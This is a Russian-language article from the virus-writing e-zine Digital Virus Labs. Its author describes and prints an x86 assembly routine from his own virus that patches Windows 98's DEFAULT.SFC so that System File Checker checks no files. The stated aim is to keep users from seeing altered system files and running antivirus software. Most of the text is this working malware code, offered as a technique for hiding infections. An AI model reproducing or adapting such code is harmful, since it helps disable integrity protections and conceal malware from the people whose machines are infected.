- [Digital Virus Labs #11] - [Page 24] -

 Взлом System File Checker в Windows98
 (c) by ULTRAS/MATRiX

     В  одной  статье  в интернете я прочитал, что винды с версии, по моему,
 Win98SR1,  имеют  интересную  тулзу в каталоге system, имя ее - System File
 Checker.  Это  тулза  проверяет  системные файлы на изменения, проверяет на
 наличие   удалений   системных   фалов   и   прочий  бред.  Таким  образом,
 пользователь,  который  пользуется  этой  тулзой,  увидев сколько системных
 файлов  у  него изменено, сразу запустит AV или переставит винды. Маленький
 кусочек  из моего вируса, который патчит DEFAULT.SFC, в котором содержиться
 вся  информация  для  SFC  (какие  файлы проверить, как, где). Говорят, что
 такая же фенька только посерьезнее есть в WinME.

 @kill_sfc98:
   ; Этот кусок патчит DEFAULT.SFC таким образом, что он не проверяет
   ; никаких файлов и обращается вместо разных системных папок на диск C:

   pushad

   push 260
   lea eax,[@winDir+ebp]                        ; получим путь и имя виндовой
   push eax                                     ; диры
   call [ebp+GetWindowsDirectoryA]

   lea eax,[@sfc98+ebp]                         ; WinDir + \DEFAULT.SFC
   push eax
   lea eax,[@winDir+ebp]
   push eax
   call [ebp+lstrcat]

   push 00h                                     ; Открываем файл
   push 80h
   push 02h
   push 00h
   push 01h
   push 0C0000000h                              ; атрибуты чтения и записи
   lea eax,[ebp+@winDir]                        ; WinDir\Default.SFC
   push eax
   call [ebp+CreateFileA]
   inc eax
   je @er
   xchg eax,esi                                 ; сохраним имя открытого нами
   dec esi                                      ; файла

   push 0                                       ; патчим!
   lea eax,[nbyte+ebp]
   push eax
   push sfc_p
   lea eax,[ebp+patch]
   push eax
   push esi
   call [ebp+WriteFile]

   push esi
   call [ebp+SetEndOfFile]
   push esi                                     ; закроем файл
   call [ebp+CloseHandle]

 @er:
   popad
   ret

 @winDir db 260 dup (0)
 @sfc98  db '\DEFAULT.SFC',0
 nbyte   dd ?
 sfc_p   equ patch_-patch
 patch:
        db 'VF',00h,01h,01h,0Fh dup(00h),'F',00h,00h,03h,00h,'C:\'
 patch_:

                                                    ULTRAS [MATRiX]